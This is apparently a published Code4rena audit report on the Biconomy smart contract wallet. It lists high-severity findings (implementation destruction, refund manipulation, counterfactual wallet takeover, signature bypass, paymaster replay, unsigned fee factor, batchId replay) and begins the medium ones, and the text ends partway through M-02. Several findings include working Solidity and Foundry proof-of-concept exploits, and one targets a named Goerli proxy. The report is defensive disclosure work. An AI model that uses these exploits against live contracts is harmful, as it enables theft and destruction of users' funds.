Biconomy - Smart Contract Wallet contest Findings & Analysis Report

2023-03-03

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit contest outlined in this document, C4 conducted an analysis of the Biconomy Smart Contract Wallet system written in Solidity. The audit contest took place between January 4—January 9 2023.

Wardens

115 Wardens contributed reports to the Biconomy Smart Contract Wallet contest:

1. 0x1f8b
2. 0x52
3. 0x73696d616f
4. 0xAgro
5. 0xDave
6. 0xSmartContract
7. 0xbepresent
8. 0xdeadbeef0x
9. 0xhacksmithh

10. 2997ms
11. Atarpara
12. Aymen0909
13. BClabs (nalus and Reptilia)
14. Bnke0x0
15. Deivitto
16. DevTimSch
17. Diana
18. Fon
19. Franfran
20. HE1M
21. Haipls
22. IIIIIII
23. Jayus
24. Josiah
25. Kalzak
26. Koolex
27. Kutu
28. Lirios
29. MalfurionWhitehat
30. Manboy
31. Matin
32. MyFDsYours
33. PwnedNoMore (izhuer, ItsNio, wen, h5n8514, and hashminer0725)
34. Qeew
35. Rageur
36. Raiders
37. RaymondFam
38. Rickard

39. Rolezn
40. Ruhum
41. SaharDevep
42. Sathish9098
43. Secureverse (imkapadia, Nsecv, and leosathya)
44. SleepingBugs (Deivitto and 0xLovesleep)
45. StErMi
46. Tointer
47. Tricko
48. Udsen
49. V_B (Barichek and vlad_bochok)
50. Viktor_Cortess
51. adriro
52. arialblack14
53. ast3ros
54. aviggiano
55. ayeslick
56. betweenETHlines
57. bin2chen
58. btk
59. cccz
60. chaduke
61. chrisdior4
62. cryptostellar5
63. csanuragjain
64. cthulhu_cult (badbird and seanamani)
65. debo
66. dragotanqueray
67. ey88

68. giovannidisiena
69. gogo
70. gz627
71. hansfriese
72. hihen
73. hl_
74. horsefacts
75. immeas
76. joestakey
77. jonatascm
78. juancito
79. kankodu
80. ladboy233
81. lukris02
82. nadin
83. orion
84. oyc_109
85. pauliax
86. pavankv
87. peakbolt
88. peanuts
89. prady
90. prc
91. privateconstant
92. ro
93. romand
94. shark
95. smit_rajput
96. sorrynotsorry

97. spacelord47
98. static
99. supernova
100. taek
101. tsvetanovv
102. wait
103. wallstreetvilkas
104. zapaz
105. zaskoh

This contest was judged by gzeon.

Final report assembled by liveactionllama.

Summary

The C4 analysis yielded an aggregated total of 15 unique vulnerabilities. Of these vulnerabilities, 7 received a risk rating in the category of HIGH severity and 8 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 54 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 22 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Biconomy Smart Contract Wallet contest repository, and is composed of 36 smart contracts written in the Solidity programming language and includes 1,831 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (7)

[H-01] Destruction of the `SmartAccount` implementation

Submitted by V_B, *also found by* gogo, gogo, adriro, smit_rajput, Koolex, hihen, spacelord47, 0xdeadbeef0x, Matin, chaduke, jonatascm, ro, taek, HE1M, *and* kankodu

contracts/smart-contract-wallet/SmartAccount.sol#L166
contracts/smart-contract-wallet/SmartAccount.sol#L192
contracts/smart-contract-wallet/SmartAccount.sol#L229
contracts/smart-contract-wallet/base/Executor.sol#L23

If the `SmartAccount` implementation contract is not initialized, it can be destroyed using the following attack scenario:

- Initialize the `SmartAccount` **implementation** contract using the `init` function.
- Execute a transaction that contains a single `delegatecall` to a contract that executes the `selfdestruct` opcode on any incoming call, such as:

```
contract Destructor {
    fallback() external {
        selfdestruct(payable(0));
    }
```

```
}
```

The destruction of the implementation contract would result in the freezing of all functionality of the wallets that point to such an implementation. It would also be impossible to change the implementation address, as the `Singleton` functionality and the entire contract would be destroyed, leaving only the functionality from the Proxy contract accessible.

In the deploy script there is the following logic:

```
const SmartWallet = await ethers.getContractFactory("SmartAccour
const baseImpl = await SmartWallet.deploy();
await baseImpl.deployed();
console.log("base wallet impl deployed at: ", baseImpl.address);
```

So, in the deploy script there is no enforce that the `SmartAccount` contract implementation was initialized.

The same situation in `scw-contracts/scripts/wallet-factory.deploy.ts` script.

Please note, that in case only the possibility of initialization of the `SmartAccount` implementation will be banned it will be possible to use this attack. This is so because in such a case `owner` variable will be equal to zero and it will be easy to pass a check inside of `checkSignatures` function using the fact that for incorrect input parameters `ecrecover` returns a zero address.

Impact

Complete freezing of all functionality of all wallets (including complete funds freezing).

Recommended Mitigation Steps

Add to the deploy script initialization of the `SmartAccount` implementation, or add to the `SmartAccount` contract the following constructor that will prevent implementation contract from the initialization:

```
    // Constructor ensures that this implementation contract can not
    constructor() public {
        owner = address(1);
    }
```

gzeon (judge) commented:

> #14 also notes that if owner is left to address(0) some validation can be bypassed.

livingrockrises (Biconomy) confirmed

[H-02] Theft of funds under relaying the transaction

Submitted by **V_B**, *also found by* **DevTimSch**

contracts/smart-contract-wallet/SmartAccount.sol#L200
contracts/smart-contract-wallet/SmartAccount.sol#L239
contracts/smart-contract-wallet/SmartAccount.sol#L248

The `execTransaction` function is designed to accept a relayed transaction with a transaction cost refund. At the beginning of the function, the `startGas` value is calculated as the amount of gas that the relayer will approximately spend on the transaction initialization, including the base cost of `21000` gas and the cost per calldata byte of `msg.data.length * 8` gas. At the end of the function, the total consumed gas is calculated as `gasleft() - startGas` and the appropriate refund is sent to the relayer.

An attacker could manipulate the calldata to increase the refund amount while spending less gas than what is calculated by the contract. To do this, the attacker could provide calldata with zero padded bytes of arbitrary length. This would only cost 4 gas per zero byte, but the refund would be calculated as 8 gas per calldata byte. As a result, the refund amount would be higher than the gas amount spent by the relayer.

Attack Scenario

Let's a smart wallet user signs a transaction. Some of the relayers trying to execute this transaction and send a transaction to the `SmartAccount` contract. Then, an attacker can frontrun the transaction, changing the transaction calldata by adding the zeroes bytes at the end.

So, the original transaction has such calldata:

```
abi.encodeWithSignature(RelayerManager.execute.selector, (...))
```

The modified (frontrun) transaction calldata:

```
// Basically, just add zero bytes at the end
abi.encodeWithSignature(RelayerManager.execute.selector, (...))
```

Proof of Concept

The PoC shows that the function may accept the data with redundant zeroes at the end. At the code above, an attacker send a 100_000 meaningless zeroes bytes, that gives a `100_000 * 4 = 400_000` additional gas refund. Technically, it is possible to pass even more zero bytes.

```
pragma solidity ^0.8.12;

contract DummySmartWallet {
    function execTransaction(
        Transaction memory _tx,
        uint256 batchId,
        FeeRefund memory refundInfo,
        bytes memory signatures
    ) external {
        // Do nothing, just test that data with appended zero by
    }
}

contract PoC {
    address immutable smartWallet;

    constructor() {
        smartWallet = address(new DummySmartWallet());
```

```
    }

    // Successfully call with original data
    function testWithOriginalData() external {
        bytes memory txCalldata = _getOriginalTxCalldata();

        (bool success, ) = smartWallet.call(txCalldata);
        require(success);
    }

    // Successfully call with original data + padded zero bytes
    function testWithModifiedData() external {
        bytes memory originalTxCalldata = _getOriginalTxCalldata
        bytes memory zeroBytes = new bytes(100000);

        bytes memory txCalldata = abi.encodePacked(originalTxCal

        (bool success, ) = smartWallet.call(txCalldata);
        require(success);
    }

    function _getOriginalTxCalldata() internal pure returns(byte
        Transaction memory transaction;
        FeeRefund memory refundInfo;
        bytes memory signatures;
        return abi.encodeWithSelector(DummySmartWallet.execTrans
    }
}
```

Impact

An attacker to manipulate the gas refund amount to be higher than the gas amount spent, potentially leading to arbitrary big ether loses by a smart wallet.

Recommended Mitigation Steps

You can calculate the number of bytes used by the relayer as a sum per input parameter. Then an attacker won't have the advantage of providing non-standard ABI encoding for the PoC calldata.

```
// Sum the length of each  bynamic and static length parameters.
uint256 expectedNumberOfBytes = _tx.data.length + signatures.ler
```

```
uint256 dataLen = Math.min(msg.data.length, expectedNumberOfByte
```

Please note, the length of the `signature` must also be bounded to eliminate the possibility to put meaningless zeroes there.

livingrockrises (Biconomy) confirmed

[H-03] Attacker can gain control of counterfactual wallet

Submitted by adriro, *also found by* 0x73696d616f, giovannidisiena, Qeew, V_B, 0x1f8b, adriro, ey88, wait, Haipls, betweenETHlines, Lirios, hihen, hihen, horsefacts, bin2chen, ast3ros, aviggiano, 0xdeadbeef0x, chaduke, Jayus, ladboy233, ladboy233, zaskoh, Kalzak, dragotanqueray, BClabs, *and* HE1M

A counterfactual wallet can be used by pre-generating its address using the `SmartAccountFactory.getAddressForCounterfactualWallet` function. This address can then be securely used (for example, sending funds to this address) knowing in advance that the user will later be able to deploy it at the same address to gain control.

However, an attacker can deploy the counterfactual wallet on behalf of the owner and use an arbitrary entrypoint:

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33-L45

```
function deployCounterFactualWallet(address _owner, address _ent
    bytes32 salt = keccak256(abi.encodePacked(_owner, address(ui
    bytes memory deploymentData = abi.encodePacked(type(Proxy).c
    // solhint-disable-next-line no-inline-assembly
    assembly {
        proxy := create2(0x0, add(0x20, deploymentData), mload(c
    }
    require(address(proxy) != address(0), "Create2 call failed")
    // EOA + Version tracking
    emit SmartAccountCreated(proxy,_defaultImpl,_owner, VERSION,
    BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
    isAccountExist[proxy] = true;
```

```
    }
```

As the entrypoint address doesn't take any role in the address generation (it isn't part of the salt or the init hash), then the attacker is able to use any arbitrary entrypoint while keeping the address the same as the pre-generated address.

Impact

After the attacker has deployed the wallet with its own entrypoint, this contract can be used to execute any arbitrary call or code (using `delegatecall`) using the `execFromEntryPoint` function:

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L489-L492

```
    function execFromEntryPoint(address dest, uint value, bytes call
        success = execute(dest, value, func, operation, gasLimit);
        require(success, "Userop Failed");
    }
```

This means the attacker has total control over the wallet, it can be used to steal any pre-existing funds in the wallet, change the owner, etc.

Proof of Concept

In the following test, the attacker deploys the counterfactual wallet using the `StealEntryPoint` contract as the entrypoint, which is then used to steal any funds present in the wallet.

```
    contract StealEntryPoint {
        function steal(SmartAccount wallet) public {
            uint256 balance = address(wallet).balance;

            wallet.execFromEntryPoint(
                msg.sender, // address dest
                balance, // uint value
                "", // bytes calldata func
                Enum.Operation.Call, // Enum.Operation operation
                gasleft() // uint256 gasLimit
```

```
        );
    }
}

contract AuditTest is Test {
    bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c3

    uint256 bobPrivateKey = 0x123;
    uint256 attackerPrivateKey = 0x456;

    address deployer;
    address bob;
    address attacker;
    address entrypoint;
    address handler;

    SmartAccount public implementation;
    SmartAccountFactory public factory;
    MockToken public token;

    function setUp() public {
        deployer = makeAddr("deployer");
        bob = vm.addr(bobPrivateKey);
        attacker = vm.addr(attackerPrivateKey);
        entrypoint = makeAddr("entrypoint");
        handler = makeAddr("handler");

        vm.label(deployer, "deployer");
        vm.label(bob, "bob");
        vm.label(attacker, "attacker");

        vm.startPrank(deployer);
        implementation = new SmartAccount();
        factory = new SmartAccountFactory(address(implementation
        token = new MockToken();
        vm.stopPrank();
    }

    function test_SmartAccountFactory_StealCounterfactualWallet(
        uint256 index = 0;
        address counterfactualWallet = factory.getAddressForCoun
        // Simulate Bob sends 1 ETH to the wallet
        uint256 amount = 1 ether;
        vm.deal(counterfactualWallet, amount);

        // Attacker deploys counterfactual wallet with a custom
```

```
        vm.startPrank(attacker);

        StealEntryPoint stealer = new StealEntryPoint();

        address proxy = factory.deployCounterFactualWallet(bob,
        SmartAccount wallet = SmartAccount(payable(proxy));

        // address is the same
        assertEq(address(wallet), counterfactualWallet);

        // trigger attack
        stealer.steal(wallet);

        vm.stopPrank();

        // Attacker has stolen the funds
        assertEq(address(wallet).balance, 0);
        assertEq(attacker.balance, amount);
    }
}
```

Recommended Mitigation Steps

This may need further discussion, but an easy fix would be to include the entrypoint as part of the salt. Note that the entrypoint used to generate the address must be kept the same and be used during the deployment of the counterfactual wallet.

gzeon (judge) commented:

> #278 also described a way to make the user tx not revert by self destructing with another call. i.e.

1. Frontrun deploy
2. Set approval and selfdestruct
3. User deploy, no revert

livingrockrises (Biconomy) confirmed

[H-04] Arbitrary transactions possible due to insufficient signature validation

Submitted by 0xdeadbeef0x, *also found by* V_B, gogo, gogo, Fon, adriro, Tricko, immeas, Haipls, ayeslick, wait, Lirios, Koolex, Atarpara, bin2chen, hihen, ast3ros, wallstreetvilkas, romand, ladboy233, ro, BClabs, StErMi, static, Manboy, csanuragjain, *and* kankodu

A hacker can create arbitrary transaction through the smart wallet by evading signature validation.

Major impacts:

1. Steal **all** funds from the smart wallet and destroy the proxy
2. Lock the wallet from EOAs by updating the implementation contract
    1. New implementation can transfer all funds or hold some kind of ransom
    2. New implementation can take time to unstake funds from protocols

Proof of Concept

The protocol supports contract signed transactions (eip-1271). The support is implemented in the `checkSignature` call when providing a transaction:

contracts/smart-contract-wallet/SmartAccount.sol#L218
contracts/smart-contract-wallet/SmartAccount.sol#L342

```
    function execTransaction(
            Transaction memory _tx,
            uint256 batchId,
            FeeRefund memory refundInfo,
            bytes memory signatures
        ) public payable virtual override returns (bool success) {
    ---------
                checkSignatures(txHash, txHashData, signatures);
            }
    ---------
                success = execute(_tx.to, _tx.value, _tx.data, _tx.c
    ---------
            }
        }
```

```
    function checkSignatures(
            bytes32 dataHash,
            bytes memory data,
            bytes memory signatures
        ) public view virtual {
    ----------
            if(v == 0) {
    ----------
                _signer = address(uint160(uint256(r)));
    ----------
                    require(uint256(s) >= uint256(1) * 65, "BSA021")
    ----------
                    require(uint256(s) + 32 <= signatures.length, "B
    -----------
                    assembly {
                        contractSignatureLen := mload(add(add(signat
                    }
                    require(uint256(s) + 32 + contractSignatureLen <
    -----------
                    require(ISignatureValidator(_signer).isValidSigr
    -----------
        }
```

`checkSignature` **DOES NOT** Validate that the `_signer` or caller is the owner of the contract.

A hacker can craft a signature that bypasses the signature structure requirements and sets a hacker controlled `_signer` that always return `EIP1271_MAGIC_VALUE` from the `isValidSignature` function.

As `isValidSignature` returns `EIP1271_MAGIC_VALUE` and passed the requirements, the function `checkSignatures` returns gracefully and the transaction execution will continue. Arbitrary transactions can be set by the hacker.

Impact #1 - Self destruct and steal all funds

Consider the following scenario:

1. Hacker creates `FakeSigner` that always returns `EIP1271_MAGIC_VALUE`
2. Hacker creates `SelfDestructingContract` that `selfdestruct`s when called

3. Hacker calls the smart wallets `execTransaction` function
    1. The transaction set will delegatecall to the `SelfDestructingContract` function to `selfdestruct`
    2. The signature is crafted to validate against hacker controlled `FakeSigner` that always returns `EIP1271_MAGIC_VALUE`
4. Proxy contract is destroyed
    1. Hacker received all funds that were in the wallet

Impact #2 - Update implementation and lock out EOA

1. Hacker creates `FakeSigner` that always returns `EIP1271_MAGIC_VALUE`
2. Hacker creates `MaliciousImplementation` that is fully controlled **ONLY** by the hacker
3. Hacker calls the smart wallets `execTransaction` function
    1. The transaction set will call to the the contracts `updateImplementation` function to update the implementation to `MaliciousImplementation`. This is possible because `updateImplementation` permits being called from `address(this)`
    2. The signature is crafted to validate against hacker controlled `FakeSigner` that always returns `EIP1271_MAGIC_VALUE`
4. Implementation was updated to `MaliciousImplementation`
    1. Hacker transfers all native and ERC20 tokens to himself
    2. Hacker unstakes EOA funds from protocols
    3. Hacker might try to ransom the protocol/EOAs to return to previous implementation
5. Proxy cannot be redeployed for the existing EOA

Foundry POC

The POC will demonstrate impact #1. It will show that the proxy does not exist after the attack and EOAs cannot interact with the wallet.

The POC was built using the Foundry framework which allowed me to validate the vulnerability against the state of deployed contract on goerli (Without interacting with them directly). This was approved by the sponsor.

The POC use a smart wallet proxy contract that is deployed on `goerli` chain:

`proxy: 0x11dc228AB5BA253Acb58245E10ff129a6f281b09`

You will need to install a foundry. Please follow these instruction for the setup: https://book.getfoundry.sh/getting-started/installation

After installing, create a workdir by issuing the command: `forge init --no-commit`

Create the following file in `test/DestroyWalletAndStealFunds.t.sol`:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

contract Enum {
    enum Operation {Call, DelegateCall}
}
interface SmartAccount {
    function execTransaction(
        Transaction memory _tx,
        uint256 batchId,
        FeeRefund memory refundInfo,
        bytes memory signatures
    ) external payable returns (bool success);
    function getNonce(uint256 batchId) external view returns (ui
}
struct Transaction {
        address to;
        uint256 value;
        bytes data;
        Enum.Operation operation;
        uint256 targetTxGas;
```

```
    }
struct FeeRefund {
        uint256 baseGas;
        uint256 gasPrice; //gasPrice or tokenGasPrice
        uint256 tokenGasPriceFactor;
        address gasToken;
        address payable refundReceiver;
    }
contract FakeSigner {
    bytes4 internal constant EIP1271_MAGIC_VALUE = 0x20c13b0b;

    // Always return valid EIP1271_MAGIC_VALUE
    function isValidSignature(bytes memory data, bytes memory co
        return EIP1271_MAGIC_VALUE;
    }
}
contract SelfDestructingContract {
    // All this does is self destruct and send funds to "to"
    function selfDestruct(address to) external {
        selfdestruct(payable(to));
    }
}

contract DestroyWalletAndStealFunds is Test {
    SmartAccount proxySmartAccount = SmartAccount(0x11dc228AB5BA
    address hacker = vm.addr(0x1337);
    SelfDestructingContract sdc;
    FakeSigner fs;
    function setUp() public {
        // Create self destruct contract
        sdc = new SelfDestructingContract();
        // Create fake signer
        fs = new FakeSigner();

        // Impersonate hacker
        vm.startPrank(hacker);
        // Create the calldata to call the selfDestruct function
        bytes memory data = abi.encodeWithSelector(sdc.selfDestr
        // Create transaction specifing SelfDestructingContract
        Transaction memory transaction = Transaction(address(sdc
        // Create FeeRefund
        FeeRefund memory fr = FeeRefund(100, 100, 100, hacker, p

        bytes32 fakeSignerPadded = bytes32(uint256(uint160(addre
        // Add fake signature (r,s,v) to pass all requirments.
        // v=0 to indicate eip-1271 signer "fakeSignerPadded" wh
```

```
        bytes memory signatures = abi.encodePacked(fakeSignerPac
        // Call execTransaction with eip-1271 signer to delegate
        proxySmartAccount.execTransaction(transaction, 0, fr, si
        vm.stopPrank();
    }

    function testProxyDoesNotExist() public {
        uint size;
        // Validate that bytecode size of the proxy contract is
        address proxy = address(proxySmartAccount);
        assembly {
          size := extcodesize(proxy)
        }
        assertEq(size,0);
    }

    function testRevertWhenCallingWalletThroughProxy() public {
        // Revert when trying to call a function in the proxy
        proxySmartAccount.getNonce(0);
    }
}
```

To run the POC and validate that the proxy does not exist after destruction:

```
forge test -m testProxyDoesNotExist -v --fork-url="<GOERLI FORK
```

Expected output:

```
Running 1 test for test/DestroyWalletAndStealFunds.t.sol:Destroy
[PASS] testProxyDoesNotExist() (gas: 4976)
Test result: ok. 1 passed; 0 failed; finished in 4.51s
```

To run the POC and validate that the EOA cannot interact with the wallet after destruction:

```
forge test -m testRevertWhenCallingWalletThroughProxy -v --fork-
```

Expected output:

```
Failing tests:
Encountered 1 failing test in test/DestroyWalletAndStealFunds.t.
[FAIL. Reason: EvmError: Revert] testRevertWhenCallingWalletThrc
```

Tools Used

Foundry, VS Code

Recommended Mitigation Steps

The protocol should validate before calling `isValidSignature` that `_signer` is `owner`.

livingrockrises (Biconomy) confirmed

[H-05] Paymaster ETH can be drained with malicious sender

Submitted by **taek**

contracts/smart-contract-wallet/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol#L97-L111

Paymaster's signature can be replayed to drain their deposits.

Proof of Concept

Scenario :

- user A is happy with biconomy and behaves well biconomy gives some sponsored tx using verifyingPaymaster — let's say paymaster's signature as sig X
- user A becomes not happy with biconomy for some reason and A wants to attack biconomy
- user A delegate calls to Upgrader and upgrade it's sender contract to MaliciousAccount.sol
- MaliciousAccount.sol does not check any nonce and everything else is same to SmartAccount(but they can also add some other details to amplify the attack,

but let's just stick it this way)

- user A uses sig X(the one that used before) to initiate the same tx over and over
- user A earnes nearly nothing but paymaster will get their deposits drained

files : Upgrader.sol, MaliciousAccount.sol, test file
https://gist.github.com/leekt/d8fb59f448e10aeceafbd2306aceaab2

Tools Used

hardhat test, verified with livingrock

Recommended Mitigation Steps

Since `validatePaymasterUserOp` function is not limited to view function in erc4337 spec, add simple boolean data for mapping if hash is used or not

```
mapping(bytes32 => boolean) public usedHash

    function validatePaymasterUserOp(UserOperation calldata user
    external override returns (bytes memory context, uint256 dea
        (requiredPreFund);
        bytes32 hash = getHash(userOp);
        require(!usedHash[hash], "used hash");
        usedHash[hash] = true;
```

livingrockrises (Biconomy) confirmed, but commented:

> Unhappy with the recommendation.

[H-06] `FeeRefund.tokenGasPriceFactor` is not included in signed transaction data allowing the submitter to steal funds

Submitted by Ruhum, *also found by* V_B, adriro, immeas, supernova, MalfurionWhitehat, cccz, *and* ladboy233

contracts/smart-contract-wallet/SmartAccount.sol#L288
contracts/smart-contract-wallet/SmartAccount.sol#L429-L444

The submitter of a transaction is paid back the transaction's gas costs either in ETH or in ERC20 tokens. With ERC20 tokens the following formula is used: $(gasUsed + baseGas) * gasPrice / tokenGasPriceFactor$. `baseGas`, `gasPrice`, and `tokenGasPriceFactor` are values specified by the tx submitter. Since you don't want the submitter to choose arbitrary values and pay themselves as much as they want, those values are supposed to be signed off by the owner of the wallet. The signature of the user is included in the tx so that the contract can verify that all the values are correct. But, the `tokenGasPriceFactor` value is not included in those checks. Thus, the submitter is able to simulate the tx with value x, get the user to sign that tx, and then submit it with y for `tokenGasPriceFactor`. That way they can increase the actual gas repayment and steal the user's funds.

Proof of Concept

In `encodeTransactionData()` we can see that `tokenGasPriceFactor` is not included:

```
        function encodeTransactionData(
            Transaction memory _tx,
            FeeRefund memory refundInfo,
            uint256 _nonce
        ) public view returns (bytes memory) {
            bytes32 safeTxHash =
                keccak256(
                    abi.encode(
                        ACCOUNT_TX_TYPEHASH,
                        _tx.to,
                        _tx.value,
                        keccak256(_tx.data),
                        _tx.operation,
                        _tx.targetTxGas,
                        refundInfo.baseGas,
                        refundInfo.gasPrice,
                        refundInfo.gasToken,
                        refundInfo.refundReceiver,
                        _nonce
                    )
                );
            return abi.encodePacked(bytes1(0x19), bytes1(0x01), doma
        }
```

The value is used to determine the gas repayment in `handlePayment()` and `handlePaymentRevert()`:

```
        function handlePayment(
            uint256 gasUsed,
            uint256 baseGas,
            uint256 gasPrice,
            uint256 tokenGasPriceFactor,
            address gasToken,
            address payable refundReceiver
        ) private nonReentrant returns (uint256 payment) {
            // uint256 startGas = gasleft();
            // solhint-disable-next-line avoid-tx-origin
            address payable receiver = refundReceiver == address(0)
            if (gasToken == address(0)) {
                // For ETH we will only adjust the gas price to not
                payment = (gasUsed + baseGas) * (gasPrice < tx.gaspr
                (bool success,) = receiver.call{value: payment}("");
                require(success, "BSA011");
            } else {
                payment = (gasUsed + baseGas) * (gasPrice) / (token0
                require(transferToken(gasToken, receiver, payment),
            }
            // uint256 requiredGas = startGas - gasleft();
            //console.log("hp %s", requiredGas);
        }
```

That's called at the end of `execTransaction()`:

```
                if (refundInfo.gasPrice > 0) {
                    //console.log("sent %s", startGas - gasleft());
                    // extraGas = gasleft();
                    payment = handlePayment(startGas - gasleft(), re
                    emit WalletHandlePayment(txHash, payment);
                }
```

As an example, given that:

- `gasUsed = 1,000,000`
- `baseGas = 100,000`

- `gasPrice = 10,000,000,000` (10 gwei)
- `tokenGasPriceFactor = 18`

You get $(1,000,000 + 100,000) * 10,000,000,000 / 18 = 6.1111111e14$. If the submitter executes the transaction with `tokenGasPriceFactor = 1` they get $1.1e16$ instead, i.e. 18 times more.

Recommended Mitigation Steps

`tokenGasPriceFactor` should be included in the encoded transaction data and thus verified by the user's signature.

livingrockrises (Biconomy) confirmed

[H-07] Replay attack (EIP712 signed transaction)

Submitted by Tointer, *also found by* V_B, Tricko, Haipls, Koolex, peakbolt, 0xdeadbeef0x, PwnedNoMore, romand, ro, csanuragjain, HE1M, taek, *and* orion

contracts/smart-contract-wallet/SmartAccount.sol#L212

Signed transaction can be replayed. First user transaction can always be replayed any amount of times. With non-first transactions attack surface is reduced but never disappears.

Why it is possible

Contract checks `nonces[batchId]` but not `batchId` itself, so we could reuse other batches nounces. If before transaction we have `n` batches with the same nonce as transaction batch, then transaction can be replayed `n` times. Since there are 2^256 `batchId`s with nonce = 0, first transaction in any batch can be replayed as much times as attacker needs.

Proof of Concept

Insert this test in `testGroup1.ts` right after `Should set the correct states on proxy` test:

```
it("replay EIP712 sign transaction", async function () {
  await token
  .connect(accounts[0])
  .transfer(userSCW.address, ethers.utils.parseEther("100"));

const safeTx: SafeTransaction = buildSafeTransaction({
  to: token.address,
  data: encodeTransfer(charlie, ethers.utils.parseEther("10").to
  nonce: await userSCW.getNonce(0),
});

const chainId = await userSCW.getChainId();
const { signer, data } = await safeSignTypedData(
  accounts[0],
  userSCW,
  safeTx,
  chainId
);

const transaction: Transaction = {
  to: safeTx.to,
  value: safeTx.value,
  data: safeTx.data,
  operation: safeTx.operation,
  targetTxGas: safeTx.targetTxGas,
};
const refundInfo: FeeRefund = {
  baseGas: safeTx.baseGas,
  gasPrice: safeTx.gasPrice,
  tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
  gasToken: safeTx.gasToken,
  refundReceiver: safeTx.refundReceiver,
};

let signature = "0x";
signature += data.slice(2);


await expect(
  userSCW.connect(accounts[2]).execTransaction(
    transaction,
    0, // batchId
    refundInfo,
    signature
  )
```

```
    ).to.emit(userSCW, "ExecutionSuccess");

    //contract checks nonces[batchId] but not batchId itself
    //so we can change batchId to the one that have the same nonce
    //this would replay transaction
    await expect(
      userSCW.connect(accounts[2]).execTransaction(
        transaction,
        1, // changed batchId
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    //charlie would have 20 tokens after this
    expect(await token.balanceOf(charlie)).to.equal(
      ethers.utils.parseEther("20")
    );
    });
```

Recommended Mitigation Steps

Add `batchId` to the hash calculation of the transaction in `encodeTransactionData` function.

livingrockrises (Biconomy) confirmed

Medium Risk Findings (8)

[M-01] Griefing attacks on `handleOps` and `multiSend` logic

Submitted by V_B*, also found by* peanuts*,* HE1M*, and* debo

contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol#L68
contracts/smart-contract-wallet/libs/MultiSend.sol#L26

The `handleOps` function executes an array of `UserOperation`. If at least one user operation fails the whole transaction will revert. That means the error on one user ops will fully reverts the other executed ops.

The `multiSend` function reverts if at least one of the transactions fails, so it is also vulnerable to such type of attacks.

Attack scenario

Relayer offchain verify the batch of `UserOperation` s, convinced that they will receive fees, then send the `handleOps` transaction to the mempool. An attacker front-run the relayers transaction with another `handleOps` transaction that executes only one `UserOperation` , the last user operation from the relayers `handleOps` operations. An attacker will receive the funds for one `UserOperation` . Original relayers transaction will consume gas for the execution of all except one, user ops, but reverts at the end.

Impact

Griefing attacks on the gas used for `handleOps` and `multiSend` function calls.

Please note, that while an attacker have no direct incentive to make such an attacks, they could short the token before the attack.

Recommended Mitigation Steps

Remove redundant `require` -like checks from internal functions called from the `handleOps` function and add the non-atomic execution logic to the `multiSend` function.

livingrockrises (Biconomy) acknowledged and commented:

> Once public, will double check with infinitism community. Marked acknowledged for now. And for multisend non-atomic does not make sense!

[M-02] Non-compliance with EIP-4337

Submitted by Franfran*, also found by* gogo*,* immeas*,* Koolex*,* zaskoh*,* MalfurionWhitehat*, and* zaskoh

contracts/smart-contract-wallet/BaseSmartAccount.sol#L60-L68
contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol#L319-L329

contracts/smart-contract-wallet/BaseSmartAccount.sol#L60-L68

Some parts of the codebase are not compliant with the EIP-4337 from the EIP-4337 specifications, at multiple degrees of severity.

Proof of Concept

Sender existence

```
    Create the account if it does not yet exist, using the initcode
```

If we take a look at the `_createSenderIfNeeded()` function, we can see that it's not properly implemented:

```
    function _createSenderIfNeeded(uint256 opIndex, UserOpInfo memor
            if (initCode.length != 0) {
                    address sender = opInfo.mUserOp.sender;
            if (sender.code.length != 0) revert FailedOp(opIndex, ac
            address sender1 = senderCreator.createSender{gas: opInfo
            if (sender1 == address(0)) revert FailedOp(opIndex, addr
            if (sender1 != sender) revert FailedOp(opIndex, address(
            if (sender1.code.length == 0) revert FailedOp(opIndex, a
            address factory = address(bytes20(initCode[0:20]));
            emit AccountDeployed(opInfo.userOpHash, sender, factory,
            }
    }
```

The statement in the EIP implies that if the account does not exist, the initcode **must** be used.
In this case, it first check if the initcode exists, but this condition should be checked later.

This could be rewritten to:

```
    function _createSenderIfNeeded(uint256 opIndex, UserOpInfo memor
            address sender = opInfo.mUserOp.sender;
            if (sender.code.length == 0) {
                    require(initCode.length != 0, "empty initcode");
```

```
                address sender1 = senderCreator.createSender{gas
            if (sender1 == address(0)) revert FailedOp(opIndex, addr
            if (sender1 != sender) revert FailedOp(opIndex, address(
            if (sender1.code.length == 0) revert FailedOp(opIndex, a
            address factory = address(bytes20(initCode[0:20]));
            emit AccountDeployed(opInfo.userOpHash, sender, factory,
            }
    }
```

Account

The third specification of the `validateUserOp()` is the following:

```
    If the account does not support signature aggregation, it MUST v
```

This is currently not the case, as the case when the account does not support signature aggregation is not supported right now in the code. The `validateUserOp()` **reverts everytime** if the recovered signature does not match.

Additionally, the `validateUserOp()` should return a time range, as per the EIP specifications:

```
    The return value is packed of sigFailure, validUntil and validAf
                    - sigFailure is 1 byte value of "1" the signatur
                    - validUntil is 8-byte timestamp value, or zero
                    - validAfter is 8-byte timestamp. The UserOp is
```

This isn't the case. It just returns a signature deadline validity, which would probably be here the `validUntil` value.

Aggregator

This part deals with the aggregator interfacing:

```
